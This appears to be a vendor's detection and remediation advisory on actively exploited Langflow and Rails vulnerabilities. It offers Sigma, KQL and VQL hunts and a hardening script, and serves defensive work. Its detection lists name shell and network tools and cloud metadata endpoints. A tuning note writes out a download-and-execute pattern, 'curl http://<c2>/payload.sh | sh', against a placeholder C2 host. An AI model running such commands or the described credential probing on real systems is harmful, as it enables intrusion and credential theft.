CVE-2026-0768 and CVE-2026-66066: Active Exploitation of Critical Langflow and Ruby on Rails Flaws — Detection and Remediation Guide

VulnCheck has published findings confirming that threat actors are actively exploiting two critical vulnerabilities — CVE-2026-0768 in Langflow (CVSS 9.8) and CVE-2026-66066 in Ruby on Rails — as part of campaigns involving credential probing and command-and-control (C2) activity. This is not theoretical risk. When VulnCheck flags observed exploitation, it means honeypot telemetry and/or victim data show real payloads hitting real systems.

The Langflow vulnerability is the one that should keep you up at night. A CVSS 9.8 flaw rooted in insufficient validation of user-supplied input, allowing arbitrary Python code execution in the context of the root user, is as close to a worst-case scenario as you get for an application vulnerability. Langflow — an increasingly popular low-code framework for building LLM-driven agentic workflows — is showing up everywhere: developer laptops, internal AI platform teams, and, far too often, directly on the internet with default configurations. If your organization has stood up Langflow instances to prototype AI pipelines, assume at least one of them is reachable from somewhere it shouldn't be.

The Rails flaw, CVE-2026-66066, rounds out the picture: a mature, ubiquitous web framework being probed at scale. Combined with the credential-probing behavior VulnCheck observed, the pattern is consistent with opportunistic mass exploitation — attackers scanning for vulnerable instances, establishing footholds, and phoning home to C2 infrastructure for tasking.

This post breaks down what we know, how to hunt for compromise, and what to do about it — today, not at the next patch cycle.

Technical Analysis

CVE-2026-0768 — Langflow Arbitrary Python Code Execution (CVSS 9.8)

Affected product: Langflow, the open-source visual framework for building LangChain-based AI agents and workflows.

Vulnerability class: Improper input validation (CWE-20) leading to remote code execution. Per the reporting, the flaw stems from a lack of proper validation of user-supplied input, which an attacker can leverage to execute arbitrary Python code as root.

Why "as root" matters: Many Langflow deployments run inside Docker containers where the application process runs as root by default. Even where the container runtime provides some isolation, root-in-container with a mounted Docker socket, a privileged container, or a common kernel exploit path frequently means host compromise. For bare-metal or VM deployments where Langflow runs as a systemd service as root (a disturbingly common quick-start pattern), this is full system compromise with a single request.

Attack chain (defender's view):

1. Reconnaissance: Attackers scan for exposed Langflow instances — typically the Langflow web UI/API on its default port 7860, identifiable by its distinctive frontend and API endpoints such as /api/v1/, /health, and /docs.
2. Exploitation: A crafted request to the vulnerable endpoint passes attacker-controlled input that reaches an unsafe Python code execution path (e.g., dynamic evaluation of user-supplied flow components or code fields). No authentication details have been confirmed in the summary, but a 9.8 score implies remote, low-complexity exploitation with no user interaction.
3. Post-exploitation: The executed Python code runs as root. Observed behavior in the campaign includes credential probing (harvesting environment variables, cloud metadata endpoints at 169.254.169.254, .env files, SSH keys) and C2 establishment (outbound connections to attacker infrastructure, often via Python requests/urllib, reverse shells, or downloaded second-stage payloads).

CVE-2026-66066 — Ruby on Rails Flaw Under Active Exploitation

Affected product: Ruby on Rails. The public summary of this CVE was truncated at the time of writing (listed as "CVE-2026-66066 aka ..." in the source), so treat the precise technical mechanism as pending full disclosure. What matters operationally is confirmed: the flaw is being exploited in the wild alongside the Langflow bug, in activity tied to credential probing and C2.

Defensive posture: Because Rails underpins an enormous share of production web applications — including a large percentage of SaaS products and internal tools — defenders should treat any internet-facing Rails application as in-scope until the affected version ranges and patch releases are confirmed against your inventory. Monitor the official Rails security announcements (rubyonrails.org and the Rails GitHub security advisories) for the authoritative advisory.

Exploitation Status

• CVE-2026-0768 (Langflow): Confirmed active exploitation per VulnCheck reporting.
• CVE-2026-66066 (Rails): Confirmed active exploitation per VulnCheck reporting.
• CISA KEV: Check the CISA Known Exploited Vulnerabilities catalog immediately. VulnCheck-confirmed exploitation frequently precedes or accompanies KEV listing; if listed, federal civilian agencies face a Binding Operational Directive remediation deadline, and every private-sector organization should treat that deadline as their own.
• Observed behavior: Credential probing and C2 callbacks — meaning exploitation is not limited to smash-and-grab; attackers are establishing persistence-oriented access.

Detection & Response

The highest-fidelity detection opportunities here are behavioral: a web application process (Langflow's Python runtime, or a Rails app server like Puma/Unicorn) spawning shell commands, interpreters, or network clients it has no business spawning, and outbound connections from those processes to unusual destinations. These detections generalize across both CVEs and will catch exploitation even as payload details change.

Sigma Rules

The following rules target the post-exploitation behaviors described in the campaign: application processes spawning suspicious children, and reconnaissance/credential access activity on Linux hosts. Deploy against Sysmon-for-Linux, auditd, or EDR telemetry ingested into your SIEM.

---
title: Langflow Process Spawning Suspicious Child Process
id: 3c9f2e71-8a4d-4b6c-9e1f-2a5b7c8d9e0f
status: experimental
description: Detects the Langflow Python process spawning shells, interpreters, or download utilities — consistent with post-exploitation of CVE-2026-0768 arbitrary code execution.
references:
  - https://thehackernews.com/2026/09/attackers-exploit-critical-langflow-and.html
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.execution
  - attack.t1059
  - attack.t1059.006
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentCommandLine|contains:
      - 'langflow'
      - 'uvicorn'
      - 'gunicorn'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/zsh'
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/socat'
      - '/python'
      - '/python3'
      - '/perl'
  condition: selection_parent and selection_child
falsepositives:
  - Langflow flows legitimately invoking Python subprocesses for tool execution — baseline per host and tune by parent path
level: high
---
title: Rails Application Server Spawning Shell or Network Utility
id: 8d4a1b63-2f7e-4c59-a3d8-6b9c0e1f2a3b
status: experimental
description: Detects Ruby on Rails application server processes (puma, unicorn, passenger, rails) spawning shells or network utilities — consistent with post-exploitation of CVE-2026-66066.
references:
  - https://thehackernews.com/2026/09/attackers-exploit-critical-langflow-and.html
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.execution
  - attack.t1059
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentCommandLine|contains:
      - 'puma'
      - 'unicorn'
      - 'passenger'
      - 'rails server'
      - 'sidekiq'
      - 'ruby'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/socat'
      - '/python3'
  condition: selection_parent and selection_child
falsepositives:
  - Rails apps invoking system commands via backticks or system() calls in legitimate code paths — investigate any hit in production
level: high
---
title: Cloud Metadata or Credential File Access via Web Application Process
id: 5e2c8f14-9b3a-4d76-b8e2-4c6a1d7f9e0b
status: experimental
description: Detects access to cloud instance metadata endpoints or credential files from processes associated with Langflow or Rails — matching the credential-probing behavior observed in this campaign.
references:
  - https://thehackernews.com/2026/09/attackers-exploit-critical-langflow-and.html
  - https://attack.mitre.org/techniques/T1552/
  - https://attack.mitre.org/techniques/T1078.004/
author: Security Arsenal
date: 2026/09/15
tags:
  - attack.credential_access
  - attack.t1552
  - attack.t1552.005
logsource:
  category: network_connection
  product: linux
detection:
  selection_metadata:
    DestinationIp:
      - '169.254.169.254'
      - '169.254.170.2'
      - '100.100.100.200'
  selection_process:
    Image|endswith:
      - '/python'
      - '/python3'
      - '/ruby'
  condition: selection_metadata and selection_process
falsepositives:
  - Legitimate cloud SDK calls from the application — correlate with expected IAM usage; metadata access from an app process during non-deployment windows is suspicious
level: high

A note on tuning: The parent-process rules above will fire in environments where Langflow flows legitimately execute Python subprocesses. That is expected — the rule's value is in forcing a baseline. If your Langflow instance spawns Python children all day, capture the normal parent/child command-line pairs over 7 days, whitelist the known-good patterns, and alert on the delta. That delta is where the shells and curl http://<c2>/payload.sh | sh patterns live.

KQL — Microsoft Sentinel / Defender

This query hunts across process and network telemetry for the post-exploitation pattern: Langflow or Rails processes executing shells/downloaders or beaconing outbound. It assumes Linux syslog/CEF ingestion or MDE-on-Linux coverage.

// Hunt: Langflow / Rails post-exploitation — suspicious child processes and C2 egress
// Tables: DeviceProcessEvents (MDE on Linux), DeviceNetworkEvents, Syslog fallback
let suspiciousChildren = dynamic(["/bin/sh", "/bin/bash", "/usr/bin/curl", "/usr/bin/wget", "/usr/bin/nc", "ncat", "socat", "python3", "perl"]);
let appParents = dynamic(["langflow", "uvicorn", "gunicorn", "puma", "unicorn", "passenger", "sidekiq", "ruby"]);
let procHits = DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where (InitiatingProcessCommandLine has_any (appParents) or InitiatingProcessFileName has_any (appParents))
| where FileName in~ (suspiciousChildren) or ProcessCommandLine has_any (suspiciousChildren)
| project ProcTime=TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, ProcessId;
let netHits = DeviceNetworkEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFileName has_any (appParents) or InitiatingProcessCommandLine has_any (appParents)
| where RemoteIP !startswith "10." and RemoteIP !startswith "192.168." and RemoteIP !startswith "172.16." and RemoteIP != "127.0.0.1"
| where RemoteIP in ("169.254.169.254", "169.254.170.2") or RemotePort in (443, 8443, 4444, 53, 8080)
| summarize ConnCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), Destinations=makeset(RemoteIP), Ports=makeset(RemotePort) by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where ConnCount > 50 or Destinations has "169.254.169.254";
union procHits, netHits
| sort by ProcTime desc

For organizations ingesting firewall or Syslog telemetry rather than endpoint data, hunt for the inbound exploitation side — scanning and exploit delivery against Langflow's default port:

// Hunt: Inbound scanning/exploit attempts against Langflow default port 7860
CommonSecurityLog
| where TimeGenerated > ago(14d)
| where DestinationPort == 7860
| summarize AttemptCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), SourceIPs=makeset(SourceIP) by DestinationIP, DestinationPort
| where AttemptCount > 10
| sort by AttemptCount desc

Any internet source IP repeatedly hitting port 7860 on hosts that should not be internet-exposed is both a detection finding and a network segmentation failure — escalate both.

Velociraptor VQL

Use this artifact for rapid triage of suspected Langflow or Rails hosts — enumerating application processes, their child processes, and active outbound connections in one collection.

-- Artifact: Hunt for compromised Langflow/Rails hosts
-- Collects application processes with suspicious children and active network connections
SELECT Pid, Ppid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE CommandLine =~ '(?i)(langflow|uvicorn|gunicorn|puma|unicorn|passenger|sidekiq)'
   OR (
       Name =~ '(?i)^(sh|bash|dash|curl|wget|nc|ncat|socat|python3?|perl)$'
       AND Ppid IN (SELECT Pid FROM pslist() WHERE CommandLine =~ '(?i)(langflow|uvicorn|gunicorn|puma|unicorn|ruby)')
      )

-- Artifact: Enumerate outbound connections from Python/Ruby processes (C2 hunt)
SELECT Pid, Name, Status, Laddr, Raddr, Family
FROM netstat()
WHERE Status =~ 'ESTABLISHED'
  AND Raddr.IP !~ '^(10\\.|192\\.168\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|127\\.)'
  AND Pid IN (
      SELECT Pid FROM pslist()
      WHERE Name =~ '(?i)(python|ruby|uvicorn|gunicorn|puma)'
  )

Correlate the netstat output against your threat intel feeds for known C2 infrastructure. Any long-lived outbound connection from a Python/Ruby app process to an IP with no business justification is a lead worth burning an IR cycle on.

Remediation & Hardening Script

The following Bash script inventories running Langflow instances, checks exposure, and applies immediate compensating controls while you patch. Run it on any host that has ever run Langflow.

#!/usr/bin/env bash
# CVE-2026-0768 triage & hardening — run as root on candidate hosts
set -euo pipefail

echo "=== [1] Langflow process / version inventory ==="
ps aux | grep -iE 'langflow|uvicorn|gunicorn' | grep -v grep || echo "No Langflow processes found."
if command -v pip >/dev/null 2>&1; then pip show langflow 2>/dev/null | grep -E '^(Name|Version)' || true; fi
docker ps --format '{{.Names}} {{.Image}}' 2>/dev/null | grep -i langflow || echo "No Langflow containers running."

echo "=== [2] Exposure check: is Langflow bound to 0.0.0.0? ==="
ss -tlnp | grep -E ':7860' || echo "Port 7860 not listening."

echo "=== [3] Compensating control: bind Langflow to localhost only ==="
# Restart Langflow with --host 127.0.0.1 and front it with an authenticated reverse proxy.
# Example (adjust to your deployment method):
#   langflow run --host 127.0.0.1 --port 7860
# For systemd-managed services, edit the unit's ExecStart accordingly and:
#   systemctl daemon-reload && systemctl restart langflow

echo "=== [4] Egress control: block metadata access & restrict outbound from app user ==="
# Block cloud metadata from the langflow service account (replace 'langflow' with your svc user)
iptables -C OUTPUT -d 169.254.169.254 -m owner --uid-owner langflow -j REJECT 2>/dev/null || \
iptables -A OUTPUT -d 169.254.169.254 -m owner --uid-owner langflow -j REJECT

echo "=== [5] Patch: upgrade Langflow to the latest fixed release ==="
# Verify the fixed version against the vendor advisory BEFORE upgrading in production.
# pip install --upgrade langflow
# Docker: pull the latest tagged image and redeploy; never run the container as root or privileged.
#   docker run --user 1000:1000 --read-only --cap-drop ALL ...

echo "=== [6] IOC sweep: suspicious outbound connections from app processes ==="
ss -tnp | grep -E 'python|ruby' || echo "No active python/ruby outbound connections."

echo "=== Done. Review output, then rotate any credentials present on this host. ==="

Critical: If step 6 or your EDR telemetry shows unexplained outbound connections or spawned shells from these processes, stop patching and shift to IR mode — capture memory and disk images before remediation destroys evidence. Credential rotation is mandatory on any host where exploitation is suspected: environment variables, .env files, cloud IAM keys reachable via metadata, and any SSH keys readable by the service account should all be considered compromised.

Remediation

1. Patch immediately.

• Langflow (CVE-2026-0768): Upgrade to the fixed release per the Langflow project's security advisory (monitor github.com/langflow-ai/langflow security advisories and the project's release notes). Do not deploy community PoCs or wait for your normal patch window — this is a root-context RCE under active exploitation.
• Rails (CVE-2026-66066): Track the official Rails security advisory at rubyonrails.org and the rails/rails GitHub security advisories for affected version ranges and fixed gem versions. Update your Gemfile.lock to the patched release and redeploy.

2. If you cannot patch today, isolate.

• Bind Langflow to 127.0.0.1 and place it behind an authenticated reverse proxy (SSO/OIDC in front, not basic auth).
• Block inbound access to port 7860 from anything other than the proxy.
• Apply egress filtering: deny outbound internet access from the Langflow/Rails service accounts except to an explicit allowlist (package repos, model APIs actually in use). This directly breaks the C2 phase of this campaign.
• Block instance metadata access (169.254.169.254) from application processes, or enforce IMDSv2 with hop-limit 1 on AWS.

3. Never run these services as root. Run Langflow and Rails app servers under dedicated low-privilege accounts. For containers: non-root user, --read-only root filesystem, --cap-drop ALL, no host Docker socket mount. Root-context RCE becomes a much smaller blast radius.

4. Hunt before you patch. Assume exploitation preceded your awareness. Run the detections above across a 14–30 day lookback. Any hit triggers credential rotation and forensic imaging before rebuilding.

5. Rotate credentials on any exposed host. Treat .env files, API keys for LLM providers (a prime target — Langflow instances hold OpenAI/Anthropic/etc. keys by design), cloud IAM credentials, and SSH keys as compromised on any internet-exposed instance.

6. Check CISA KEV and enforce the deadline. If either CVE lands in the KEV catalog, adopt the federal remediation date as your internal SLA. Active exploitation plus a KEV listing means patch-or-isolate within days, not weeks.

7. Fix the inventory problem. The organizations getting burned by Langflow exploitation are the ones that don't know where it runs. Add AI/LLM tooling — Langflow, Flowise, and similar frameworks — to your asset inventory and attack-surface monitoring today. Shadow AI infrastructure is the new shadow IT, and attackers found it first.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub